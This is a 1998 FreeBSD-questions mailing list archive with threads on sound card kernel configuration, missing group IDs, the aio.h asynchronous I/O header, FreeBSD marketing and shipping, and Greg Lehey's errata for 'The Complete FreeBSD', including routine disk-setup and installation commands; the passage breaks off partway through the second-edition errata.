owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA14734 for ; Fri, 10 Apr 1998 16:53:58 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id TAA28940 for ; Fri, 10 Apr 1998 19:58:50 -0400 (EDT) Date: Fri, 10 Apr 1998 19:58:50 -0400 (EDT) From: "Stephen A. Derdau" To: freebsd-questions@FreeBSD.ORG Subject: Sound card problems. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I Have the cd-rom music playing through the sound card. Can't get much more to work. ie mic or have other sound files play. Here is my kernel config info: controller snd0 device sb0 at isa? port 0x220 irq 5 conflicts drq 1 vector sbintr options BROKEN_BUS_CLOCK #PAS-16 isn't working and OPTI chipset options SBC_IRQ=5 #PAS-16. Must match irq on sb0 line Sound Card is a no name card: OPTi 82c924 chip I'm thinking of trying otpion "OPTI_MAD16_PORT" this will be the 99th time rebuilding my Kernel. **** ANY HELP AT ALL WOULD BE GREATLY APPREACIATED ***** Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:55:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA15648 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:55:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA15631 for ; Fri, 10 Apr 1998 16:55:46 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id RAA05369; Fri, 10 Apr 1998 17:55:37 -0600 (MDT) Message-Id: <199804102355.RAA05369@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Fri, 10 Apr 1998 17:55:35 -0600 To: "Jason C. Wells" From: Brett Glass Subject: Re: Files with nonexistent groups Cc: questions@FreeBSD.ORG In-Reply-To: References: <199804101744.LAA00726@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 03:17 PM 4/10/98 -0700, Jason C. Wells wrote: >That GID 6 is missing is odd though. GID 6 is the mail group, which is a >group that is installed by default. It's possible that this wasn't so in an earlier version of FreeBSD, and the old /etc/group file was "inherited." I checked a more recent system, and discovered that group 68 is "dialer". Oddly, when I did an ls -al, some of the devnodes for serial devices said "uucp dialer" for owner and group, respectively, while others said "uucp 68". Weird. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:58:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA16152 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:58:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA16143 for ; Fri, 10 Apr 1998 16:58:27 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id SAA04215; Fri, 10 Apr 1998 18:58:19 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804102358.SAA04215@dyson.iquest.net> Subject: Re: aio calls in FreeBSD In-Reply-To: <352EAD31.EBD3689E@cs.wustl.edu> from Alexander Babu Arulanthu at "Apr 10, 98 06:37:21 pm" To: alex@cs.wustl.edu (Alexander Babu Arulanthu) Date: Fri, 10 Apr 1998 18:58:19 -0500 (EST) Cc: freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, > > Does any of the FreeBSD versions support asynchronous system calls such > as aio_read (), aio_write () etc. > I am missing aio_error, but I can fix that ASAP, if you need it. It is a work in progress (I work in a squeaky-wheel mode most of the time.) FreeBSD-current supports the other important ones, here is the aio.h header file: #ifndef _AIO_H_ #define _AIO_H_ /* * Copyright (c) 1997 John S. Dyson. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. John S. Dyson's name may not be used to endorse or promote products * derived from this software without specific prior written permission. * * DISCLAIMER: This code isn't warranted to do anything useful. Anything * bad that happens because of using this software isn't the responsibility * of the author. This software is distributed AS-IS. * * $Id: aio.h,v 1.7 1998/03/28 11:50:34 dufault Exp $ */ #include #include /* * Returned by aio_cancel: * (Note that FreeBSD's aio is not cancellable -- yet.) */ #define AIO_CANCELED 0x1 #define AIO_NOTCANCELED 0x2 #define AIO_ALLDONE 0x3 /* * LIO opcodes */ #define LIO_NOP 0x0 #define LIO_WRITE 0x1 #define LIO_READ 0x2 /* * LIO modes */ #define LIO_NOWAIT 0x0 #define LIO_WAIT 0x1 /* * Maximum number of allowed LIO operations */ #define AIO_LISTIO_MAX 16 /* * Private mode bit for aio. * (This bit is set by the library routine * to allow the kernel to support sync * or async operations in the future.) */ #define AIO_PMODE_SYNC 0x1 #define AIO_PMODE_DONE 0x2 #define AIO_PMODE_SUSPEND 0x4 #define AIO_PMODE_ACTIVE 0x2357c0de /* * Private members for aiocb -- don't access * directly. */ struct __aiocb_private { int status; int error; int privatemodes; int active; int tid; int threadinfo; void *userinfo; void *kernelinfo; }; /* * I/O control block */ typedef struct aiocb { int aio_fildes; /* File descriptor */ off_t aio_offset; /* File offset for I/O */ volatile void *aio_buf; /* I/O buffer in process space */ size_t aio_nbytes; /* Number of bytes for I/O */ struct sigevent aio_sigevent; /* Signal to deliver */ int aio_lio_opcode; /* LIO opcode */ int aio_reqprio; /* Request priority -- ignored */ struct __aiocb_private _aiocb_private; } aiocb_t; #ifndef KERNEL /* * Asynchronously read from a file */ int aio_read( struct aiocb *iocb); /* * Asynchronously write to file */ int aio_write( struct aiocb *iocb); /* * List I/O Asynchronously/synchronously read/write to/from file * "lio_mode" specifies whether or not the I/O is synchronous. * "acb_list" is an array of "nacb_listent" I/O control blocks. * when all I/Os are complete, the optional signal "sig" is sent. */ int lio_listio( int lio_mode, struct aiocb * const acb_list[], int nacb_listent, struct sigevent *sig); /* * Get completion status * returns EINPROGRESS until I/O is complete. * this routine does not block. */ int aio_error( const struct aiocb *iocb); /* * Finish up I/O, releasing I/O resources and returns the value * that would have been associated with a synchronous I/O request. * This routine must be called once and only once for each * I/O control block who has had I/O associated with it. */ ssize_t aio_return( struct aiocb *iocb); /* * Cancel I/O -- implemented only to return AIO_NOTCANCELLED or * AIO_ALLDONE. No cancellation operation will occur. */ int aio_cancel( int fd, struct aiocb *iocb); /* * Suspend until all specified I/O or timeout is complete. */ int aio_suspend( const struct aiocb * const acb_list[], int nacb_listent, const struct timespec *tm); #else void aio_proc_rundown( struct proc *p); #endif #endif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:00:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA16643 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:00:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA16623 for ; Fri, 10 Apr 1998 17:00:23 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (cadezia-67.mdm.mke.execpc.com [169.207.82.67]) by mailgw02.execpc.com (8.8.8) id TAA21079; Fri, 10 Apr 1998 19:00:17 -0500 (CDT) Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id TAA06459; Fri, 10 Apr 1998 19:00:15 -0500 (CDT) From: Frank Pawlak Message-Id: <199804110000.TAA06459@darkstar.connect.com> Date: Fri, 10 Apr 1998 19:00:15 -0500 (CDT) To: dmorrisn@u.washington.edu Cc: freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <352EA9D5.B30C445F@u.washington.edu> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Don Morrison wrote: > > Such is true. I am a "newish" FreeBSD user and SuSE Linux reseller. > I > > see a ready market for free "low cost" software in college > bookstores, > > particularly those universities that have computer engineering and > > comsci departments. Part of evangelism is marketing and market > > presence. Having this OS on display at universities will attract a > > young audience the very people that are evangelizing Linux. > > Frank > > > > Yup, as far as free OS's go, linux is practically all we have at my > University's Bookstore. There's a whole shelf of books on the > subject, all > new and up to date, and _stacks_ of Red Hat linux boxes as well as a > few > SuSE and Caldera OpenLinux-Lite boxes and some slackware cd's with > some of > the books, but about all they have on BSD are the printed 4.4BSD > manuals > (which I don't think they're going to sell anymore there,) and a > couple, > highly technical books such as "The Design and Implementation of the > 4.4BSD > Operating System." Nothing specific to FreeBSD is to be found there. > :( > Funny, cause they carry other cdroms from walnut creek there... Which goes to prove my point. This is where the efforts have to start. Frank > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:01:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA16990 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:01:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA16856 for ; Fri, 10 Apr 1998 17:01:19 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id TAA04240; Fri, 10 Apr 1998 19:00:36 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804110000.TAA04240@dyson.iquest.net> Subject: Re: shipping In-Reply-To: from "Jason C. Wells" at "Apr 10, 98 03:43:10 pm" To: jcwells@u.washington.edu Date: Fri, 10 Apr 1998 19:00:36 -0500 (EST) Cc: warzycha@yahoo.com, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Fri, 10 Apr 1998, Peter Warzycha wrote: > > > I am currently stationed in Okinawa, Japan with the third marine > > division. I am interseted in buying a copy of the latest ver. of BSD > > but i noticed for over seas it is take 6-9 weeks ... i do have an > > FPO-AP mailing address... i was told that makes a difference for time > > of shipping and the cost to ship it... please get bacck to me with all > > the info you can supply to me thanks... > > Paul was correct about the cost of shipping. > > To send mail to an FPO is just like sending domestic mail. It may take a > while as FPO mail is subject to all of the trappings of the military > scenario. If you will be stateside soon (two months), you may as well > wait until you get back. > > It is my understanding that FreeBSD is highly popular in Japan. Perhaps > you can find a local copy? > As a FreeBSD-core member, I receive Japanese FreeBSD distributions periodically. Frankly, they are much sexier than the equiv Red Hat type distr in the USA. (nice, hard box, etc.) John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:02:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17208 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:02:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: (from grog@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17179 for FreeBSD-questions@FreeBSD.org; Fri, 10 Apr 1998 17:02:11 -0700 (PDT) (envelope-from grog) Date: Fri, 10 Apr 1998 17:02:11 -0700 (PDT) From: Greg Lehey Message-Id: <199804110002.RAA17179@hub.freebsd.org> To: FreeBSD-questions@FreeBSD.ORG Subject: "The Complete FreeBSD", first edition: errata and addenda Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The trouble with books is that you can't update them the way you can a web page or any other online documentation. The result is that most leading edge computer books are out of date almost before they are printed. Unfortunately, "The Complete FreeBSD", published by Walnut Creek, is no exception. Since going to press, a number of anomalies have surfaced. The following is a list of modifications which go beyond simple typos. They relate to the first edition, formatted on 19 July 1996. If you have this book, please check this list. If you have the second edition (16 December 1997), please check the parallel posting or get the file at ftp://www.lemis.com/pub/cfbsd/errata-2. I apply these changes to the current source of the book, so if you buy a later edition, they will be in it as well. If you find a bug or a suspected bug in the book, please contact me (grog@freebsd.org). --- Changes: 5 December 1996 --- Page 192: Middle of the page, the indented small print comment. Replace with: If your system doesn't have the directory /usr/src/sys, then the kernel source has not been installed. To install from the CD-ROM, perform the following steps: # mkdir -p /usr/src/sys # ln -s /usr/src/sys /sys # cd / # cat /cdrom/dists/src/sys.* | tar xzvf - The symbolic link /sys for /usr/src/sys is not strictly necessary, but it's a good idea: some software uses it, and otherwise you may end up with two different copies of the sources. --- Changes: 28 November 1996 --- Page 135, second paragraph: replace with In addition, you may need to create the device nodes if they don't already exist. By default, the system contains four virtual terminal devices in the /dev directory. If you use more than this number, you must create them, either with MAKEDEV (see page 162), or with mknod (see page 573). When calculating how many devices you need, note that if you intend to run X11, you need a terminal device without a getty for the X server. For example, if you have enabled /dev/ttyv3, /dev/ttyv4, and /dev/ttyv5, and you also want to run X, you will need a total of 7 virtual terminals (/dev/ttyv0 through /dev/ttyv6). With MAKEDEV, you specify how many virtual terminals you need: # cd /dev # ./MAKEDEV vty7 make 7 vtys Alternatively, you can do this with mknod: # cd /dev # ls -l ttyv0 crw------- 1 root wheel 12, 0 Nov 28 10:25 ttyv0 # mknod ttyv3 c 12 3 # mknod ttyv4 c 12 4 # mknod ttyv5 c 12 5 # mknod ttyv6 c 12 6 In this example, you list the entry for /dev/ttyv0 in order to check the major device number of the virtual terminals (that's the 12, in this example; it may change from one release to another). You need to specify this number to mknod. For more details about major and minor device numbers, see page 160. --- Changes: 20 November 1996 --- Figure 10-4, page 172: The devices in the FreeBSD slice are called /dev/sd1s2a through /dev/sd1s2h, not /dev/sd1s3a through /dev/sd1s3h as shown. Figure 10-6, page 176: The devices in the FreeBSD slice are *still* called /dev/sd1s2a through /dev/sd1s2h, not /dev/sd1s1a through /dev/sd1s1h as shown. (Well, at least the average turned out right :-) The man page section (pages 225 to 766) was sorted by ASCII name of the man page, with the result that the man pages whose names start with upper-case letters come before those whose names start with lower-case letters. Sorry about that. If you're looking for a man page, probably the best place to start is in the Table of Contents on page vi. The man pages are really just excerpts. The total FreeBSD man pages format to some 6,000 pages, far more than I could possibly put in this book. --- Changes: 1 November 1996 --- Major changes: 1. No difference in installation from ATAPI CD-ROM drives. When "The Complete FreeBSD" was written, you still needed a separate installation procedure for installing from ATAPI CD-ROM drives. This is no longer the case. The following modifications to the text come as a result: Page 14, table: Remove references to atapiflp.bat and inst_ide.bat. FreeBSD 2.1.5 no longer has separate boot floppies and installation procedures for ATAPI CD-ROM drives. Page 29: Remove the text "You will also need a different boot disk (/cdrom/floppies/atapi.flp). If you are creating the boot floppy with MS-DOS, you can use the file ATAPIFLP.BAT to create the floppy." The resultant text reads: IDE CD-ROM drives, more properly called ATAPI CD-ROM drives, are a new kind of CD-ROM drive which connect to the same controller as your IDE hard disk. Currently, FreeBSD 2.1.5 support for ATAPI CD-ROM drives is in alpha test. In order to install from an ATAPI CD-ROM, the drive must be jumpered as slave device. The installation may or may not work--please let us know if it doesn't, especially if you can give us some indication about the cause of the trouble. You can also create this boot diskette with the aid of the VIEW program (see Chapter 4, Installing FreeBSD, page 38). Page 35: Remove the points referring to atapi.flp. The text for the third box from the bottom of the page should read: If the direct boot doesn't work, you will need to make a boot floppy, which may be either a 3 1/2" or a 5 1/4" diskette. Create a boot floppy by copying the image /cdrom/boot.flp to diskette. Refer to Chapter 2, Installing FreeBSD, page 39. If you have an IDE (ATAPI) CD-ROM drive, see also the section on this kind of drive in Chapter 2, Installation Concepts, page 29. Page 43, after first example: remove references to ATAPI. The resultant text should read: Don't try this from MS Windows--the installation will fail with the message not enough memory. The boot will progress in the same way as if you had booted from floppy. The advantage of starting VIEW is that you get more documentation: ultimately VIEW will start INSTALL to boot the system. INSTALL doesn't always work. It depends on what drivers or TSRs are in your system. There's no reason to try changing your MS-DOS configuration to get it to work: it's a lot easier just to boot from floppy (see page 38 for further information). 2. Changes to section on installing a second disk. Page 170: The bottom paragraph should read: When the message Three seconds until format begins... appears, you can still change your mind by hitting CTRL-C before the message Formatting... appears. After that, you can't stop the format: most disks can perform a format by themselves, so scsiformat just issues the command to format the disk. Since there is no SCSI bus activity, the disk activity lamp will also not light up, and since the scsiformat program will just be waiting and not using any CPU time, you could easily get the impression the nothing is going on. The disk format can take a long time--depending on the disk, up to 90 minutes. Page 173, after table 10-5: Add the text If you're unlucky, fdisk will give you a completely different idea of the disk geometry from what scsiformat did. Possibly you can decide by examination which program is wrong, or maybe you can look at the dmesg output for a tie-breaker. In all cases I have seen, it has been fdisk that returned the incorrect information, and only when the disk did not have a valid partition table. For example, this happened with a disk formatted for BSD/OS: # scsiformat sd1 MICROP 2112-15MQ1094802 HQ48 Mode data length: 35 Medium type: 0 Device Specific Parameter: 0 Block descriptor length: 8 Density code: 0 Number of blocks: 2051615 Reserved: 0 Block length: 512 PS: 1 Reserved: 0 Page code: 4 Page length: 22 Number of Cylinders: 1760 Number of Heads: 15 Starting Cylinder-Write Precompensation: 0 Starting Cylinder-Reduced Write Current: 0 Drive Step Rate: 0 Landing Zone Cylinder: 0 Reserved: 0 RPL: 0 Rotational Offset: 0 Reserved: 0 Medium Rotation Rate: 5400 Reserved: 0 Reserved: 0 # fdisk sd1 ******* Working on device /dev/rsd1 ******* parameters extracted from in-core disklabel are: cylinders=160 heads=256 sectors/track=50 (12800 blks/cyl) Figures below won't work with BIOS for partitions not in cyl 1 parameters to be used for BIOS calculations are: cylinders=160 heads=256 sectors/track=50 (12800 blks/cyl) Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 0 is: sysid 255,(BBT (Bad Blocks Table)) start 1023744, size 2108293151 (1029440 Meg), flag 0 beg: cyl 768/ sector 15/ head 147; end: cyl 0/ sector 0/ head 255 The data for partition 1 is: sysid 101,(Novell Netware 3.xx) start 1646292846, size 1814062195 (885772 Meg), flag 0 beg: cyl 356/ sector 50/ head 0; end: cyl 256/ sector 50/ head 114 The data for partition 2 is: sysid 0,(unused) start 0, size 0 (0 Meg), flag 61 beg: cyl 364/ sector 37/ head 98; end: cyl 0/ sector 0/ head 0 The data for partition 3 is: Looking at the output from dmesg, we see: (aha0:1:0): "MICROP 2112-15MQ1094802 HQ48" type 0 fixed SCSI 2 sd1(aha0:1:0): Direct-Access 1001MB (2051615 512 byte sectors) sd1(aha0:1:0): with 1760 cyls, 15 heads, and an average 77 sectors/track In this case, then, you should use the parameters 1760 cylinders, 15 heads, and 77 sectors per track. What's less obvious here is the number of cylinders: fdisk doesn't have an opinion, and scsiformat and dmesg decided it has 2,051,615 sectors. Unfortunately, if you calculate the number according to the formula cylinders x heads x sectors, you'll come up with a different result: in this case 1760 x 15 x 77 = 2,032,800. How come? The disks report the total number of sectors, including spare tracks and such, but you can't use them all. The 2,032,800 is the correct number, and if you try to specify 2,051,615 to disklabel, it will spit out lots of messages about partitions which go beyond the end of the disk. Page 173, middle of page. Change the text after the "no magic" message to: The message no magic doesn't mean that fdisk is out of purple smoke. It refers to the fact that it didn't find the so-called magic number, which identifies the partition table. Since we don't have a partition table yet, this message isn't surprising. It's also completely harmless. Page 173, last example. Remove the first 22 lines, from ******* Working on device /dev/rsd1 ******* to, but not including the next occurrence of this line. Page 177, bulleted list: add the bullet * The total number of sectors in the partition. Calculate the number from the the formula cylinders x heads x sectors, even if you are using the whole disk: the output from dmesg or scsiformat is not correct here. Page 178, middle of page: after # disklabel -w -r /dev/sd1c cdc94161 insert When you do this, expect a kernel message (in high-intensity display) saying ``Cannot find disk label''. Since there isn't any label, it can't be found. This is another harmless chicken and egg problem. Page 182: In the section "Creating the file systems", add the first line to the example: # newfs /dev/rsd1h Further down the page, the last example should also read # newfs /dev/rsd1h 3. Other changes Page 41, after the heading "Installing from an MS-DOS partition". Add the text: It's also possible to install from a primary MS-DOS partition on the first disk. At the moment, it's not possible to install from extended partitions. Page 136, bottom: Add the text If you are changing the root password, be careful: it's easy enough to lock yourself out of the system if you mess things up, which could happen if, for example, you mistyped the password twice in the same way (don't laugh, it happens). If you're running X, open another window and use su to become root. If you're running in character mode, select another virtual terminal and log in as root there. Only when you're sure you can still access root should you log out. Page 152, just before the heading "The online manual". Add: Yes, you really need to run latex three times in order to build the cross-references. Page 199, the end of the multipage table is garbled. It should read: ze0 214 IBM/National Semiconductor PCMCIA ethernet controller zp0 214 3Com PCMCIA Etherlink III Page 205: Change the section titled "lpt0" to: lpt0 through lpt2 are the three printer ports you could conceivably have. Most people don't have three printers: you can comment out the definitions of the printers which you don't have. Page 208, bottom of page: swap the italicized headings "Adaptec 274X controller" and "Adaptec 1274X controller" Many thanks to Paul DuBois and Jerry Dunham for finding many of these bugs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:02:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17229 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:02:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: (from grog@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17181 for FreeBSD-questions@FreeBSD.org; Fri, 10 Apr 1998 17:02:11 -0700 (PDT) (envelope-from grog) Date: Fri, 10 Apr 1998 17:02:11 -0700 (PDT) From: Greg Lehey Message-Id: <199804110002.RAA17181@hub.freebsd.org> To: FreeBSD-questions@FreeBSD.ORG Subject: "The Complete FreeBSD", second edition: errata and addenda Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Errata and addenda for the Complete FreeBSD, second edition Last revision: 8 April 1998 The trouble with books is that you can't update them the way you can a web page or any other online documentation. The result is that most leading edge com- puter books are out of date almost before they are printed. Unfortunately, ``The Complete FreeBSD'', published by Walnut Creek, is no exception. The sec- ond edition has only just been published, but already a number of bugs and changes have surfaced. The following is a list of modifications which go beyond simple typos. They relate to the second edition, formatted on 16 December 1997. If you have this book, please check this list. If you have the first edition of 19 July 1996, please check ftp://ftp.lemis.com/pub/cfbsd/errata-1. This same file is also available via the web link http://www.lemis.com/. This list is available in four forms: o A PostScript version, suitable for printing out, at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the book to find out how to print out PostScript. If at all possible, please take this docu- ment: it's closest to the original text. Be careful selecting this file with a web browser: it is often impossible to reload the document, and you may see a previously cached version. o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When viewed with more or less, this version will show some highlighting and under- lining. It's not suitable for direct viewing. o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This version is posted every week to the FreeBSD-questions mailing list. Only take this version if you have real problems with PostScript: I can't be sure that the lack of different fonts won't confuse the meaning. o A web version at http://www.lemis.com/errata-2.html. All these modifications have been applied to the ongoing source text of the book, so if you buy a later edition, they will be in it as well. If you find a bug or a suspected bug in the book, please contact me at General changes _______________ o In a number of places, I suggest the use of the following command to find process information: $ ps aux | grep foo Unfortunately, ps is sensitive to the column width of the terminal emulator upon which it is working. This command usually works fine on a relatively wide xterm, but if you're running on an 80-column terminal, it may truncate exactly the information you're looking for, so you end up with no output. You can fix that with the w option: $ ps waux | grep foo Thanks to Sue Blake for this information Location of the sample files ____________________________ The 2.2.5 CD-ROM came out before the book, and it contains the files on the third (repository) CD-ROM as a single gzipped tar file /xperimnt/cfbsd/cfbsd.tar.gz. It contains the following files: drwxr-xr-x jkh/jkh 0 Oct 17 13:01 1997 cfbsd/ drwxr-xr-x jkh/jkh 0 Oct 17 13:01 1997 cfbsd/mutt/ -rw-r--r-- jkh/jkh 352 Oct 15 15:21 1997 cfbsd/mutt/.mail_aliases -rw-r--r-- jkh/jkh 9394 Oct 15 15:22 1997 cfbsd/mutt/.muttrc drwxr-xr-x jkh/jkh 0 Oct 17 14:02 1997 cfbsd/scripts/ -rw-r--r-- jkh/jkh 18281 Oct 16 16:52 1997 cfbsd/scripts/.fvwm2rc -rwxr-xr-x jkh/jkh 1392 Oct 17 12:54 1997 cfbsd/scripts/install-desktop -rw-r--r-- jkh/jkh 296 Oct 17 12:35 1997 cfbsd/scripts/.xinitrc -rwxr-xr-x jkh/jkh 622 Oct 17 13:51 1997 cfbsd/scripts/install-rcfiles -rw-r--r-- jkh/jkh 1133 Oct 17 13:00 1997 cfbsd/scripts/Uutry -rw-r--r-- jkh/jkh 1028 Oct 17 14:02 1997 cfbsd/scripts/README drwxr-xr-x jkh/jkh 0 Oct 18 19:32 1997 cfbsd/docs/ -rw-r--r-- jkh/jkh 199111 Oct 16 14:29 1997 cfbsd/docs/packages.txt -rw-r--r-- jkh/jkh 189333 Oct 16 14:28 1997 cfbsd/docs/packages-by-category.txt -rw-r--r-- jkh/jkh 188108 Oct 16 14:29 1997 cfbsd/docs/packages.ps -rw-r--r-- jkh/jkh 226439 Oct 16 14:27 1997 cfbsd/docs/packages-by-category.ps -rw-r--r-- jkh/jkh 788 Oct 16 15:01 1997 cfbsd/README -rw-r--r-- jkh/jkh 248 Oct 17 11:52 1997 cfbsd/errata To extract one of these files, say cfbsd/docs/packages.txt, and assuming you have the CD-ROM mounted as /cdrom, enter: # cd /usr/share/doc # tar xvzf /cdrom/xperimnt/cfbsd/cfbsd.tar.gz cfbsd/docs/packages.txt See page 209 for more information on using tar. These files are an early version of what is described in the book. I'll put up some updated versions on ftp://ftp.lemis.com/ in the near future. Thanks to Frank McCormick for drawing this to my attention. Page xxxiv __________ Before the discussion of the shell prompts in the middle of the page, add: In this book, I recommend the use of the Bourne shell or one of its descendents (sh, bash, pdksh, ksh or zsh). With the exception of sh, they are all in the Ports Collection. I personally use the bash shell. This is a personal preference, and a recommendation, but it's not the standard shell. The standard BSD shell is the C shell (csh), which has a fuller-fea- tured descendent tcsh. In particular, the standard installation sets the root user up with a csh. See page 152 (in this errata) for details of how to change the shell. Page 12: Printing the handbook ______________________________ The instructions for formatting the handbook are obsolete. Replace the section starting Alternatively, you can print out the handbook with the following text: Alternatively, you can print out the handbook. You need to have the documenta- tion sources (/usr/doc) installed on your system. You can find them on the second CD-ROM in the directory of the same name. To install them, first mount your CD-ROM (see page 175). Then enter: $ cd /cdrom/usr/doc/handbook $ mkdir -p /usr/doc/handbook you may need to be root for this operation $ cp -pr * /usr/doc/handbook You have a choice of formats for the output: o ascii will give you plain 7-bit ASCII output, suitable for reading on a char- acter-mode terminal. o html will give you HTML output, suitable for browsing with a web browser. o latex will give you LATEX format, suitable for further processing with TEX and LATEX. o ps will give you PostScript output, probably the best choice for printing. o roff will give you output in troff source. You can process this output with nroff or troff, but it's currently not very polished. LATEX output is a bet- ter choice if you want to process it further. Once you have decided your format, use make to create the document. For exam- ple, if you decide on PostScript format, you would enter: $ make FORMATS=ps This creates a file handbook.ps which you can then print to a PostScript print- er or with the aid of ghostscript (see page 222). Thanks to Bob Beer for drawing this to my attention. Page 45: Preparing floppies for installation _____________________________________________ Replace the paragraph below the list of file names (in the middle of the page) with: The floppy set should contain the file bin.inf and the ones whose names start with bin. followed by two letters. These other files are all 240640 bytes long, except for the final one which is usually shorter. Use the MS-DOS COPY program to copy as many files as will fit onto each disk (5 or 6) until you've got all the distributions you want packed up in this fashion. Copy each dis- tribution into subdirectory corresponding to the base name--for example, copy the bin distribution to the files A:\BIN\BIN.INF, A:\BIN\BIN.AA and so on. Page 80 and 81 ______________ In a couple of examples, the FreeBSD partition is shown as type 164. It should be 165. Thanks to an unknown contributer for this correction (sorry, I lost your name). Page 92 _______ At the end of the section How to install a package add the text: Alternatively, you can install packages from the /stand/sysinstall Final Con- figuration Menu. We saw this menu on page in figure 4-14 on page 71. When you start sysinstall from the command line, you get to this menu by selecting In- dex, and then selecting Configure. Page 93 _______ Before the heading Install ports from the first CD-ROM add: Install ports when installing the system ________________________________________ The file ports/ports.tgz on the first CD-ROM is a tar archive containing all the ports. You can install it with the base system if you select the Custom distribution and include the ports collection. If you didn't install them at the time, use the following method to install them all (about 40 MB). Make sure your CD-ROM is mounted (in this example on 